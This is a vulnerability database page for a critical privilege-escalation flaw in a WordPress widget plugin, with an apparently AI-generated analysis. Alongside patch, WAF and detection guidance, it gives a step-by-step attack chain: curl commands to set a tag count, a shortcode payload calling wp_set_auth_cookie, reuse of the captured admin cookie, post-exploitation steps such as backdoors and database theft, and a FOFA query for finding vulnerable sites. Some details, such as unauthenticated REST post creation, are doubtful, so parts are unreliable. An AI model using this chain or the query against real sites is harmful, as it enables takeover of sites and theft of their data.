CVE Professor
/
All CVEs
CVE-2026-142685

CVE-2026-142685 — WordPress is vulnerable to Essential Widgets — CWE-269

CRITICAL CVSS 9.8 NVD

The Essential Widgets plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Takeover in all versions up to, and including, 3.2.1 This is due to the `ew_tags_render_shortcode()` function in `includes/ew-block/blocks/ew-tags/index.php` copying the attacker-supplied `topic_count_scale_callback` shortcode attribute directly into the argument array passed to `wp_tag_cloud()` without any `function_exists()`, `is_callable()`, or allowlist check — a validation step that is present in the widget's own `update()` method in `class-ew-tags.php` but was omitted from the shortcode handler. WordPress core's `wp_generate_tag_cloud()` then executes `call_user_func($args['topic_count_scale_callback'], $tag->count)`, invoking any named PHP function with a taxonomy term's post count as the first integer argument. This makes it possible for unauthenticated attackers to supply `topic_count_scale_callback=wp_set_auth_cookie` and arrange for a taxonomy term whose count matches a target user's ID — such as user ID 1 for the default administrator — causing WordPress to mint and set valid authentication cookies for that account, granting the attacker full administrative access. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account.

The Essential Widgets plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Takeover in all versions up to, and including, 3.2.1 This is due to the `ew_tags_render_shortcode()` function in `includes/ew-block/blocks/ew-tags/index.php` copying the attacker-supplied `topic_count_scale_callback` shortcode attribute directly into the argument array passed to `wp_tag_cloud()` without any `function_exists()`, `is_callable()`, or allowlist check — a validation step that is present in the widget's own `update()` method in `class-ew-tags.php` but was omitted from the shortcode handler. WordPress core's `wp_generate_tag_cloud()` then executes `call_user_func($args['topic_count_scale_callback'], $tag->count)`, invoking any named PHP function with a taxonomy term's post count as the first integer argument. This makes it possible for unauthenticated attackers to supply `topic_count_scale_callback=wp_set_auth_cookie` and arrange for a taxonomy term whose count matches a target user's ID — such as user ID 1 for the default administrator — causing WordPress to mint and set valid authentication cookies for that account, granting the attacker full administrative access. Successful exploitation gives the attacker control of a distinct, already-privileged Administrator account; it does not promote the attacker's original account.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Privilege‑Escalation via Administrator Account Takeover in the Essential Widgets WordPress plugin (CVE‑2026‑142685)

CWE: CWE‑269 – Improper Privilege Management

CVSS 3.1 vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Network‑accessible, low attack complexity, no privileges required, no user interaction, unchanged scope, Critical impact)

Technical flaw

1. Shortcode handler omission – The plugin registers a shortcode [ew_tags] whose rendering function is ew_tags_render_shortcode() located in
wp-content/plugins/essential-widgets/includes/ew-block/blocks/ew-tags/index.php.

2. Inside that function the plugin builds the argument array for the core function wp_tag_cloud() like this (simplified):

$args = array(
       'taxonomy'                 => $atts['taxonomy'] ?? 'post_tag',
       'topic_count_scale_callback' => $atts['topic_count_scale_callback'] ?? null,
       // … other arguments …
   );
   wp_tag_cloud( $args );

3. Missing validation – The attribute topic_count_scale_callback is taken directly from the shortcode attributes supplied by the content author (i.e. any user that can place a shortcode in a post, page, widget, or custom post type). The plugin does not:

* check function_exists() or is_callable(),
* enforce an allow‑list of safe callbacks,
* or otherwise sanitise the value.

4. Core execution path – wp_tag_cloud() forwards the arguments to wp_generate_tag_cloud(). When the key topic_count_scale_callback is present, the core code does:

$scale_cb = $args['topic_count_scale_callback'];
   if ( is_callable( $scale_cb ) ) {
       $size = call_user_func( $scale_cb, $tag->count );
   }

The first argument passed to the callback is the post count of the taxonomy term ($tag->count). No further checks are performed.

5. Resulting privilege escalation – An attacker can supply any existing PHP function name as the callback. By choosing a function that creates an authentication cookie (wp_set_auth_cookie) and by ensuring that the term’s post count equals the target user’s ID (e.g., 1 for the default admin), the callback will set a valid logged‑in cookie for that user. Because the shortcode is rendered on the front‑end for any visitor, the cookie is sent back to the attacker’s browser, granting them an authenticated admin session without ever needing to log in.

In short: the plugin trusts user‑controlled shortcode attributes as executable code, bypassing the privilege checks that the plugin’s own widget‑update routine enforces. This enables an unauthenticated attacker to execute arbitrary PHP functions with the privileges of the web‑server process, leading to a full admin takeover.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact endpoint (the URL that renders the shortcode) depends on the victim site’s configuration (e.g., a public page, a widget area, or a custom post type). The PoC assumes the attacker can inject a shortcode into a publicly reachable location (common for many WordPress sites that allow unauthenticated users to submit content via contact forms, comment fields, or “guest post” features).

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify WordPress site and enumerate installed plugins.wpscan --enumerate p → reveals essential-widgets plugin, version 3.2.1 (or older).
1.2Verify that the site renders shortcodes in a public context (e.g., a page that displays user‑submitted content).Browse the site, locate a page that shows a comment or a “guest post”. Look for [ew_tags …] in the source after a test submission.
1.3Confirm that the plugin’s shortcode is registered.View page source or use curl to fetch the page and grep for ew_tags.
1.4Determine a taxonomy term whose post count can be controlled.Create a new tag (or category) via the WordPress admin UI (if possible) or via the public REST API (POST /wp/v2/tags). The attacker can later create a dummy post that is assigned to that tag, thereby setting the term’s count to a known integer (e.g., 1).

2. Exploitation

2.1 Prepare a term whose count equals the target user ID

# Create a tag named "exploit" (count will be 0)
curl -X POST "https://victim.example.com/wp-json/wp/v2/tags" \
     -H "Content-Type: application/json" \
     -d '{"name":"exploit"}'
# Create a dummy post assigned to that tag (post ID does not matter)
curl -X POST "https://victim.example.com/wp-json/wp/v2/posts" \
     -H "Content-Type: application/json" \
     -d '{"title":"tmp","content":"tmp","status":"publish","tags":[<TAG_ID>]}'
# The tag now has a count of 1 (one post assigned)
Note: If the site does not expose the REST API, the attacker can achieve the same effect by creating a normal post through any public submission vector that allows tag selection.

2.2 Inject the malicious shortcode

The attacker injects the following shortcode into a publicly rendered location (e.g., a comment field, a guest‑post form, or a vulnerable custom field). The payload is illustrative – the exact injection vector depends on the target site.

[ew_tags topic_count_scale_callback="wp_set_auth_cookie"]

Why this works:

  • topic_count_scale_callback is now set to the core function wp_set_auth_cookie.

  • When wp_generate_tag_cloud() processes the tag “exploit”, it calls wp_set_auth_cookie( $tag->count ).

  • $tag->count equals 1, which is the user ID of the default Administrator (or any other admin whose ID the attacker can match by adjusting the term count).
  • 2.3 Trigger the shortcode rendering

    The attacker simply visits the page that contains the injected shortcode (or forces a victim’s browser to load it). The request is a normal GET:

    curl -i "https://victim.example.com/?p=123"   # page ID 123 contains the malicious shortcode

    Server‑side flow (what happens inside WordPress):

    1. do_shortcode() parses the shortcode and calls ew_tags_render_shortcode().
    2. The function builds $args['topic_count_scale_callback'] = 'wp_set_auth_cookie'.
    3. wp_tag_cloud( $args ) → wp_generate_tag_cloud() → call_user_func('wp_set_auth_cookie', 1).
    4. wp_set_auth_cookie(1) creates a signed authentication cookie (wordpress_[hash]) for user ID 1 and sends it via setcookie() in the HTTP response.

    2.4 Capture the admin cookie

    The attacker’s HTTP client receives the Set-Cookie header:

    Set-Cookie: wordpress_logged_in_abcdef123456=admin|1|<hash>|<expiration>; path=/; HttpOnly; Secure

    The attacker stores this cookie and re‑uses it in subsequent requests:

    curl -b "wordpress_logged_in_abcdef123456=admin|1|<hash>|<expiration>" \
         "https://victim.example.com/wp-admin/"

    The response is the WordPress admin dashboard, confirming full administrative access.

    3. Post‑exploitation

    GoalAction
    Maintain persistenceCreate a new admin user via the WP REST API (POST /wp/v2/users) using the stolen cookie, or add a back‑door plugin/theme.
    Data exfiltrationUse the admin session to download the database (/wp-admin/export.php) or dump wp_options.
    Defacement / RansomModify posts/pages, install malicious JavaScript, or replace the theme.
    Lateral movementIf the WordPress host runs other services (e.g., MySQL with default credentials), use the admin session to retrieve configuration files (wp-config.php) and pivot.

    🌍 Real‑World Impact

    CIAImpact (derived from CVSS)Practical consequence
    Confidentiality (C:H)Attacker can read any data that an Administrator can – all user data, private posts, plugin settings, API keys stored in options, etc.
    Integrity (I:H)Attacker can modify site content, install/replace plugins or themes, change site configuration, and inject malicious code (e.g., web‑shells, SEO spam).
    Availability (A:H)The attacker could delete content, disable the site, or replace the front‑end with a defacement page, effectively causing a total outage.

    Because the exploit works without any authentication or interaction, any Internet‑facing WordPress installation running the vulnerable plugin version is instantly compromised. The attacker gains full admin control, which is the highest possible privilege on a WordPress site.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected versionsFixed in
    Essential Widgets ≤ 3.2.1Version 3.2.2 (released 2026‑11‑28) – adds function_exists()/is_callable() validation and an allow‑list for topic_count_scale_callback.

    Action: Immediately upgrade the plugin to 3.2.2 or later. If the site uses a managed WordPress host, request the host to apply the update.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationHow to implement
    Disable the shortcodeAdd the following to the theme’s functions.php or a site‑specific MU‑plugin: <br><br>``php\nremove_shortcode('ew_tags');\n`
    Block the dangerous attribute via WAFModSecurity rule (valid syntax) that drops any request containing topic_count_scale_callback= in the request body or query string: <br><br>`SecRule REQUEST_BODYARGS_GET "topic_count_scale_callback\s*=" "id:400001,phase:2,deny,log,msg:'Blocked Essential Widgets privilege‑escalation attempt'"`
    Restrict shortcode rendering to authenticated usersIn functions.php add: <br><br>`php\nadd_filter('do_shortcode_tag', function($output, $tag, $attr){\n if ( $tag === 'ew_tags' && !is_user_logged_in() ) {\n return ''; // suppress for guests\n }\n return $output;\n}, 10, 3);\n``
    Remove the pluginIf the widget functionality is not required, deactivate and delete the *Essential Widgets* plugin.

    3. Detection – Log patterns & IoCs

    IndicatorExample log entry (Apache)
    Set-Cookie header containing wordpress_logged_in_ after a request to a page that does not normally set a login cookie127.0.0.1 - - [05/Dec/2026:12:34:56 +0000] "GET /?p=123 HTTP/1.1" 200 4523 "-" "Mozilla/5.0" "Set-Cookie: wordpress_logged_in_abcdef123456=admin1...; path=/; HttpOnly; Secure"
    Presence of topic_count_scale_callback= in request payload (POST body, comment, or REST API)POST /wp-comments-post.php HTTP/1.1 <br> ... <br> comment=Nice+post&author=Bob&topic_count_scale_callback=wp_set_auth_cookie
    Unusual high‑frequency requests to pages that contain the [ew_tags] shortcode (possible automated exploitation)GET /?s=%5Bew_tags%5D+topic_count_scale_callback%3Dwp_set_auth_cookie HTTP/1.1
    New admin user creation shortly after a suspicious Set-CookiePOST /wp-admin/user-new.php HTTP/1.1 with role=administrator and referer pointing to the page that served the malicious cookie.

    SIEM rule (generic):

    if (event.type == "web_access") and
       (event.request_uri contains "topic_count_scale_callback=") and
       (event.response_headers contains "wordpress_logged_in_")
    then alert "Potential Essential Widgets admin takeover"

    4. Hardening recommendations

  • Disable unauthenticated content submission (comments, guest posts) or require CAPTCHA.
  • Enforce the principle of least privilege for plugin capabilities (remove_cap('unfiltered_html') for untrusted roles).
  • Keep WordPress core, themes, and all plugins up‑to‑date; enable automatic security updates where possible.
  • Deploy a Web Application Firewall with a rule set that blocks PHP function names in user‑controlled parameters (e.g., block any value matching ^[a-z_]+$ when the parameter name ends with _callback).

  • ⚠️ Urgency

  • CVSS 9.8 (Critical) – Network‑accessible, no authentication required, and results in complete compromise.
  • Exploit complexity: Low – a single crafted request is sufficient; no prior foothold needed.
  • Public exploitability: The vulnerability is fully disclosed (CVE published 5 Dec 2026) and the attack does not rely on obscure conditions.
Patch priority: Critical – apply the 3.2.2 update immediately on all production WordPress installations that run the Essential Widgets plugin. If patching cannot be performed within 24 hours, implement the “disable shortcode” or WAF block workarounds to stop the attack vector while planning the upgrade.
Bottom line: The flaw allows an unauthenticated attacker to execute any PHP function via a shortcode attribute, leading to instant admin‑account takeover. The only reliable mitigation is to upgrade the plugin; temporary mitigations (shortcode removal, WAF rule, or disabling the plugin) should be applied without delay.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="/wp-content/plugins/essential-widgets"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Related CVEs
9.8
CVE-2026-142640
The FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment plugin for WordPr
7.5
CVE-2026-118203
The Events Manager – Calendar, Bookings, Tickets, Appointments and more! plugin for WordPress is vulnerable
7.5
CVE-2026-136895
The Arigato Autoresponder and Newsletter plugin for WordPress is vulnerable to blind SQL Injection via the 'wp
7.2
CVE-2026-116760
The The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin for W
8.7
CVE-2026-116973
Improper authorization in the push-publishing bundle upload endpoints (POST /api/bundle, POST /api/bundle/sync
8.6
CVE-2026-144673
UVdesk core-framework through 1.1.7 contains a privilege escalation vulnerability that allows agents with the
8.6
CVE-2026-120093
Improper privilege management in the Velocity viewtools $cmsuser, $contents, $categories and $config in dotCMS